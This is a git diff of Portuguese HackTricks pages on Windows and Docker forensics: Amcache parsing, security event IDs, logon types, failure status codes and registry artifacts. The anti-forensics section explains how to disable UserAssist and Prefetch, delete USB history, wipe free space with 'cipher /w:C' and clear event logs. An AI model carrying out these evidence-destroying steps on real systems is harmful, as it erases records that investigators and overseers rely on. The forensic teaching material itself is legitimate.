extrair e analisar os dados do **Amcache.hve**, a ferramenta [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) pode ser usada. O comando a seguir é um exemplo de como usar o AmcacheParser para analisar o conteúdo do arquivo **Amcache.hve** e exibir os resultados em formato CSV: +Para extrair e analisar os dados do **Amcache.hve**, a ferramenta [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) pode ser usada. O seguinte comando é um exemplo de como usar o AmcacheParser para analisar o conteúdo do arquivo **Amcache.hve** e gerar os resultados em formato CSV: ```bash AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder ``` -Entre os arquivos CSV gerados, o `Amcache_Unassociated file entries` é particularmente notável devido às informações detalhadas que fornece sobre entradas de arquivos não associadas. +Entre os arquivos CSV gerados, o `Amcache_Unassociated file entries` é particularmente notável devido às ricas informações que fornece sobre entradas de arquivos não associadas. -O arquivo CSV mais interessante gerado é o `Amcache_Unassociated file entries`. +O arquivo CVS mais interessante gerado é o `Amcache_Unassociated file entries`. ### RecentFileCache @@ -383,7 +386,7 @@ Você pode usar a ferramenta [**RecentFileCacheParse**](https://github.com/EricZ ### Tarefas agendadas -Você pode extrair as tarefas de `C:\Windows\Tasks` ou `C:\Windows\System32\Tasks` e lê-las como XML. +Você pode extraí-las de `C:\Windows\Tasks` ou `C:\Windows\System32\Tasks` e lê-las como XML. ### Serviços @@ -394,35 +397,35 @@ Você pode encontrá-los no registro em `SYSTEM\ControlSet001\Services`. Você p Os aplicativos instalados podem ser encontrados em `\ProgramData\Microsoft\Windows\AppRepository\`\ Este repositório possui um **log** com **cada aplicativo instalado** no sistema dentro do banco de dados **`StateRepository-Machine.srd`**. -Dentro da tabela de Aplicativos deste banco de dados, é possível encontrar as colunas: "ID do Aplicativo", "Número do Pacote" e "Nome de Exibição". Essas colunas possuem informações sobre aplicativos pré-instalados e instalados e é possível verificar se alguns aplicativos foram desinstalados, pois os IDs dos aplicativos instalados devem ser sequenciais. +Dentro da tabela de Aplicativos deste banco de dados, é possível encontrar as colunas: "Application ID", "PackageNumber" e "Display Name". Essas colunas têm informações sobre aplicativos pré-instalados e instalados e pode-se verificar se alguns aplicativos foram desinstalados, pois os IDs dos aplicativos instalados devem ser sequenciais. -Também é possível **encontrar aplicativos instalados** no caminho do registro: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ -E **desinstalados** **aplicativos** em: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` +É também possível **encontrar aplicativos instalados** dentro do caminho do registro: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ +E **aplicativos desinstalados** em: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` ## Eventos do Windows As informações que aparecem nos eventos do Windows são: * O que aconteceu -* Carimbo de data/hora (UTC + 0) +* Timestamp (UTC + 0) * Usuários envolvidos * Hosts envolvidos (nome do host, IP) -* Ativos acessados (arquivos, pastas, impressoras, serviços) +* Ativos acessados (arquivos, pastas, impressora, serviços) -Os logs estão localizados em `C:\Windows\System32\config` antes do Windows Vista e em `C:\Windows\System32\winevt\Logs` após o Windows Vista. Antes do Windows Vista, os logs de eventos estavam em formato binário e após isso, estão em formato **XML** e usam a extensão **.evtx**. +Os logs estão localizados em `C:\Windows\System32\config` antes do Windows Vista e em `C:\Windows\System32\winevt\Logs` após o Windows Vista. Antes do Windows Vista, os logs de eventos estavam em formato binário e, após, estão em **formato XML** e usam a extensão **.evtx**. -A localização dos arquivos de eventos pode ser encontrada no registro do SISTEMA em **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** +A localização dos arquivos de eventos pode ser encontrada no registro do SYSTEM em **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** Eles podem ser visualizados a partir do Visualizador de Eventos do Windows (**`eventvwr.msc`**) ou com outras ferramentas como [**Event Log Explorer**](https://eventlogxp.com) **ou** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** ## Compreendendo o Registro de Eventos de Segurança do Windows -Eventos de acesso são registrados no arquivo de configuração de segurança localizado em `C:\Windows\System32\winevt\Security.evtx`. O tamanho deste arquivo é ajustável e, quando atinge sua capacidade, eventos mais antigos são sobrescritos. Os eventos registrados incluem logins e logoffs de usuários, ações de usuários e alterações nas configurações de segurança, bem como acesso a arquivos, pastas e ativos compartilhados. +Eventos de acesso são registrados no arquivo de configuração de segurança localizado em `C:\Windows\System32\winevt\Security.evtx`. O tamanho deste arquivo é ajustável e, quando sua capacidade é atingida, eventos mais antigos são sobrescritos. Eventos registrados incluem logins e logoffs de usuários, ações de usuários e alterações nas configurações de segurança, bem como acesso a arquivos, pastas e ativos compartilhados. -### IDs de Eventos Principais para Autenticação de Usuário: +### IDs de Evento Chave para Autenticação de Usuário: -- **EventID 4624**: Indica que um usuário foi autenticado com sucesso. -- **EventID 4625**: Sinaliza uma falha na autenticação. +- **EventID 4624**: Indica que um usuário se autenticou com sucesso. +- **EventID 4625**: Sinaliza uma falha de autenticação. - **EventIDs 4634/4647**: Representam eventos de logoff de usuário. - **EventID 4672**: Denota login com privilégios administrativos. @@ -431,56 +434,56 @@ Eventos de acesso são registrados no arquivo de configuração de segurança lo - **Interativo (2)**: Login direto do usuário. - **Rede (3)**: Acesso a pastas compartilhadas. - **Lote (4)**: Execução de processos em lote. -- **Serviço (5)**: Inicializações de serviço. -- **Proxy (6)**: Autenticação de proxy. -- **Desbloquear (7)**: Tela desbloqueada com senha. -- **Rede de Texto sem Formatação (8)**: Transmissão de senha em texto sem formatação, frequentemente do IIS. +- **Serviço (5)**: Lançamentos de serviço. +- **Proxy (6)**: Autenticação proxy. +- **Desbloquear (7)**: Tela desbloqueada com uma senha. +- **Texto Claro da Rede (8)**: Transmissão de senha em texto claro, muitas vezes do IIS. - **Novas Credenciais (9)**: Uso de credenciais diferentes para acesso. -- **Interativo Remoto (10)**: Login de desktop remoto ou serviços de terminal. -- **Interativo em Cache (11)**: Login com credenciais em cache sem contato com o controlador de domínio. -- **Interativo Remoto em Cache (12)**: Login remoto com credenciais em cache. +- **Interativo Remoto (10)**: Login em serviços de desktop remoto ou terminal. +- **Cache Interativo (11)**: Login com credenciais em cache sem contato com o controlador de domínio. +- **Cache Interativo Remoto (12)**: Login remoto com credenciais em cache. - **Desbloqueio em Cache (13)**: Desbloqueio com credenciais em cache. #### Códigos de Status e Substatus para EventID 4625: -- **0xC0000064**: Nome de usuário não existe - Pode indicar um ataque de enumeração de nomes de usuário. +- **0xC0000064**: Nome de usuário não existe - Pode indicar um ataque de enumeração de nome de usuário. - **0xC000006A**: Nome de usuário correto, mas senha errada - Possível tentativa de adivinhação de senha ou força bruta. - **0xC0000234**: Conta de usuário bloqueada - Pode seguir um ataque de força bruta resultando em múltiplos logins falhados. - **0xC0000072**: Conta desativada - Tentativas não autorizadas de acessar contas desativadas. - **0xC000006F**: Logon fora do horário permitido - Indica tentativas de acesso fora do horário de login definido, um possível sinal de acesso não autorizado. -- **0xC0000070**: Violação de restrições de estação de trabalho - Pode ser uma tentativa de login a partir de um local não autorizado. +- **0xC0000070**: Violação das restrições de estação de trabalho - Pode ser uma tentativa de login de um local não autorizado. - **0xC0000193**: Expiração da conta - Tentativas de acesso com contas de usuário expiradas. - **0xC0000071**: Senha expirada - Tentativas de login com senhas desatualizadas. -- **0xC0000133**: Problemas de sincronização de tempo - Grandes discrepâncias de tempo entre cliente e servidor podem ser indicativas de ataques mais sofisticados como pass-the-ticket. -- **0xC0000224**: Mudança obrigatória de senha - Mudanças obrigatórias frequentes podem sugerir uma tentativa de desestabilizar a segurança da conta. +- **0xC0000133**: Problemas de sincronização de tempo - Grandes discrepâncias de tempo entre cliente e servidor podem indicar ataques mais sofisticados, como pass-the-ticket. +- **0xC0000224**: Mudança obrigatória de senha necessária - Mudanças obrigatórias frequentes podem sugerir uma tentativa de desestabilizar a segurança da conta. - **0xC0000225**: Indica um bug do sistema em vez de um problema de segurança. - **0xC000015b**: Tipo de logon negado - Tentativa de acesso com tipo de logon não autorizado, como um usuário tentando executar um logon de serviço. #### EventID 4616: -- **Mudança de Hora**: Modificação do horário do sistema, pode obscurecer a linha do tempo dos eventos. +- **Mudança de Hora**: Modificação do tempo do sistema, pode obscurecer a linha do tempo dos eventos. #### EventID 6005 e 6006: -- **Inicialização e Desligamento do Sistema**: O EventID 6005 indica a inicialização do sistema, enquanto o EventID 6006 marca o desligamento. +- **Inicialização e Desligamento do Sistema**: O EventID 6005 indica que o sistema está iniciando, enquanto o EventID 6006 marca seu desligamento. #### EventID 1102: -- **Exclusão de Log**: Registros de segurança sendo apagados, o que muitas vezes é um sinal vermelho para encobrir atividades ilícitas. +- **Exclusão de Log**: Logs de segurança sendo limpos, o que é frequentemente um sinal de alerta para encobrir atividades ilícitas. #### EventIDs para Rastreamento de Dispositivos USB: - **20001 / 20003 / 10000**: Primeira conexão do dispositivo USB. - **10100**: Atualização do driver USB. - **EventID 112**: Hora da inserção do dispositivo USB. -Para exemplos práticos sobre simular esses tipos de login e oportunidades de despejo de credenciais, consulte o [guia detalhado da Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). +Para exemplos práticos sobre como simular esses tipos de login e oportunidades de despejo de credenciais, consulte o [guia detalhado da Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). -Detalhes do evento, incluindo códigos de status e substatus, fornecem mais insights sobre as causas do evento, especialmente notáveis no Evento ID 4625. +Os detalhes do evento, incluindo códigos de status e substatus, fornecem mais insights sobre as causas dos eventos, particularmente notáveis no Event ID 4625. ### Recuperando Eventos do Windows -Para aumentar as chances de recuperar eventos do Windows excluídos, é aconselhável desligar o computador suspeito desconectando-o diretamente. **Bulk_extractor**, uma ferramenta de recuperação que especifica a extensão `.evtx`, é recomendada para tentar recuperar tais eventos. +Para aumentar as chances de recuperar Eventos do Windows excluídos, é aconselhável desligar o computador suspeito desconectando-o diretamente. **Bulk_extractor**, uma ferramenta de recuperação que especifica a extensão `.evtx`, é recomendada para tentar recuperar tais eventos. ### Identificando Ataques Comuns via Eventos do Windows -Para um guia abrangente sobre a utilização dos IDs de Eventos do Windows na identificação de ataques cibernéticos comuns, visite [Red Team Recipe](https://redteamrecipe.com/event-codes/). +Para um guia abrangente sobre como utilizar os IDs de Evento do Windows na identificação de ataques cibernéticos comuns, visite [Red Team Recipe](https://redteamrecipe.com/event-codes/). #### Ataques de Força Bruta @@ -488,18 +491,19 @@ Identificáveis por múltiplos registros de EventID 4625, seguidos por um EventI #### Mudança de Hora -Registrada pelo EventID 4616, alterações no horário do sistema podem complicar a análise forense. +Registrada pelo EventID 4616, mudanças no tempo do sistema podem complicar a análise forense. #### Rastreamento de Dispositivos USB -EventIDs do Sistema úteis para rastreamento de dispositivos USB incluem 20001/20003/10000 para uso inicial, 10100 para atualizações de driver e EventID 112 do DeviceSetupManager para carimbos de inserção. +IDs de Evento do Sistema úteis para rastreamento de dispositivos USB incluem 20001/20003/10000 para uso inicial, 10100 para atualizações de driver e EventID 112 do DeviceSetupManager para timestamps de inserção. + #### Eventos de Energia do Sistema -O EventID 6005 indica inicialização do sistema, enquanto o EventID 6006 marca o desligamento. +EventID 6005 indica inicialização do sistema, enquanto EventID 6006 marca o desligamento. -#### Exclusão de Logs +#### Exclusão de Log -O EventID 1102 de Segurança sinaliza a exclusão de logs, um evento crítico para análise forense. +O EventID de Segurança 1102 sinaliza a exclusão de logs, um evento crítico para análise forense.
@@ -507,16 +511,16 @@ O EventID 1102 de Segurança sinaliza a exclusão de logs, um evento crítico pa {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index c34d93256..46ee9c448 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,24 +1,25 @@ -# Chaves de Registro do Windows Interessantes +# Interesting Windows Registry Keys -### Chaves de Registro do Windows Interessantes +### Interesting Windows Registry Keys {% hint style="success" %} -Aprenda e pratique Hacking na AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking na GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -### **Versão do Windows e Informações do Proprietário** -- Localizado em **`Software\Microsoft\Windows NT\CurrentVersion`**, você encontrará a versão do Windows, Service Pack, horário de instalação e o nome do proprietário registrado de forma direta. + +### **Informações sobre a Versão do Windows e Proprietário** +- Localizado em **`Software\Microsoft\Windows NT\CurrentVersion`**, você encontrará a versão do Windows, Service Pack, hora da instalação e o nome do proprietário registrado de forma clara. ### **Nome do Computador** - O nome do host é encontrado em **`System\ControlSet001\Control\ComputerName\ComputerName`**. @@ -26,80 +27,82 @@ Aprenda e pratique Hacking na GCP: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking na GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md b/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md index 5b678b9cb..40f437e96 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md +++ b/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md @@ -1,14 +1,14 @@ {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} @@ -17,27 +17,27 @@ Aprenda e pratique Hacking GCP: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) - -
- -Apoie o HackTricks - -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). - -
-{% endhint %} diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/README.md b/generic-methodologies-and-resources/basic-forensic-methodology/README.md index 63798ceda..85ec7c2d8 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/README.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/README.md @@ -23,7 +23,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} @@ -67,13 +67,13 @@ Esta ferramenta pode modificar ambos os atributos `$STARNDAR_INFORMATION` e `$FI ## Ocultação de Dados -O NFTS usa um cluster e o tamanho mínimo de informação. Isso significa que se um arquivo ocupa e usa um cluster e meio, a **metade restante nunca será utilizada** até que o arquivo seja excluído. Portanto, é possível **ocultar dados neste espaço livre**. +O NTFS usa um cluster e o tamanho mínimo de informação. Isso significa que se um arquivo ocupa e usa um cluster e meio, a **metade restante nunca será utilizada** até que o arquivo seja excluído. Portanto, é possível **ocultar dados neste espaço de sobra**. Existem ferramentas como slacker que permitem ocultar dados neste espaço "oculto". No entanto, uma análise do `$logfile` e `$usnjrnl` pode mostrar que alguns dados foram adicionados: ![](<../../.gitbook/assets/image (1060).png>) -Portanto, é possível recuperar o espaço livre usando ferramentas como FTK Imager. Observe que esse tipo de ferramenta pode salvar o conteúdo ofuscado ou até mesmo criptografado. +Portanto, é possível recuperar o espaço de sobra usando ferramentas como FTK Imager. Observe que esse tipo de ferramenta pode salvar o conteúdo ofuscado ou até mesmo criptografado. ## UsbKill @@ -90,7 +90,7 @@ Essas distros são **executadas dentro da memória RAM**. A única maneira de de ## Configuração do Windows -É possível desativar vários métodos de registro do Windows para dificultar muito a investigação forense. +É possível desativar vários métodos de registro do Windows para dificultar a investigação forense. ### Desativar Carimbos de Data/Hora - UserAssist @@ -98,7 +98,7 @@ Esta é uma chave de registro que mantém datas e horas quando cada executável Desativar o UserAssist requer duas etapas: -1. Defina duas chaves de registro, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` e `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, ambas para zero a fim de sinalizar que queremos desativar o UserAssist. +1. Defina duas chaves de registro, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` e `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, ambas para zero, a fim de sinalizar que queremos desativar o UserAssist. 2. Limpe suas subárvores de registro que se parecem com `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. ### Desativar Carimbos de Data/Hora - Prefetch @@ -122,7 +122,7 @@ Sempre que uma pasta é aberta a partir de um volume NTFS em um servidor Windows ### Excluir Histórico USB -Todas as **Entradas de Dispositivos USB** são armazenadas no Registro do Windows sob a chave de registro **USBSTOR** que contém subchaves que são criadas sempre que você conecta um dispositivo USB ao seu PC ou Laptop. Você pode encontrar esta chave aqui `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Excluindo isso**, você excluirá o histórico USB.\ +Todas as **Entradas de Dispositivos USB** são armazenadas no Registro do Windows sob a chave de registro **USBSTOR**, que contém subchaves que são criadas sempre que você conecta um dispositivo USB ao seu PC ou Laptop. Você pode encontrar esta chave aqui `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Excluindo isso**, você excluirá o histórico USB.\ Você também pode usar a ferramenta [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) para ter certeza de que as excluiu (e para excluí-las). Outro arquivo que salva informações sobre os USBs é o arquivo `setupapi.dev.log` dentro de `C:\Windows\INF`. Este também deve ser excluído. @@ -144,7 +144,7 @@ Também é possível modificar a configuração de quais arquivos serão copiado ### Sobrescrever arquivos excluídos -* Você pode usar uma **ferramenta do Windows**: `cipher /w:C` Isso indicará ao cipher para remover qualquer dado do espaço em disco não utilizado disponível dentro da unidade C. +* Você pode usar uma **ferramenta do Windows**: `cipher /w:C` Isso indicará ao cipher para remover qualquer dado do espaço de disco não utilizado disponível dentro da unidade C. * Você também pode usar ferramentas como [**Eraser**](https://eraser.heidi.ie) ### Excluir logs de eventos do Windows @@ -173,7 +173,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md b/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md index b9c87a04f..ca9af5199 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md @@ -1,35 +1,35 @@ # Docker Forensics {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %}
-Aprofunde sua experiência em **Mobile Security** com a 8kSec Academy. Domine a segurança de iOS e Android através de nossos cursos autônomos e obtenha certificação: +Aprofunde sua experiência em **Segurança Móvel** com a 8kSec Academy. Domine a segurança de iOS e Android através de nossos cursos autônomos e obtenha certificação: {% embed url="https://academy.8ksec.io/" %} -## Modificação de contêiner +## Modificação de container -Há suspeitas de que algum contêiner docker foi comprometido: +Há suspeitas de que algum container docker foi comprometido: ```bash docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress ``` -Você pode facilmente **encontrar as modificações feitas a este contêiner em relação à imagem** com: +Você pode facilmente **encontrar as modificações feitas neste contêiner em relação à imagem** com: ```bash docker diff wordpress C /var @@ -97,7 +97,7 @@ Loaded image: flask:latest #And then open it with dive: sudo dive flask:latest ``` -Isso permite que você **navegue pelos diferentes blobs de imagens docker** e verifique quais arquivos foram modificados/adicionados. **Vermelho** significa adicionado e **amarelo** significa modificado. Use **tab** para mover para a outra visualização e **espaço** para colapsar/abrir pastas. +Isso permite que você **navegue pelos diferentes blobs de imagens docker** e verifique quais arquivos foram modificados/adicionados. **Vermelho** significa adicionado e **amarelo** significa modificado. Use **tab** para mover para a outra visualização e **space** para colapsar/abrir pastas. Com die você não poderá acessar o conteúdo dos diferentes estágios da imagem. Para fazer isso, você precisará **descomprimir cada camada e acessá-la**.\ Você pode descomprimir todas as camadas de uma imagem a partir do diretório onde a imagem foi descomprimida executando: diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md b/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md index 5303009b3..74c4fb9f3 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md @@ -1,32 +1,32 @@ {% hint style="success" %} -Aprenda e pratique AWS Hacking:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
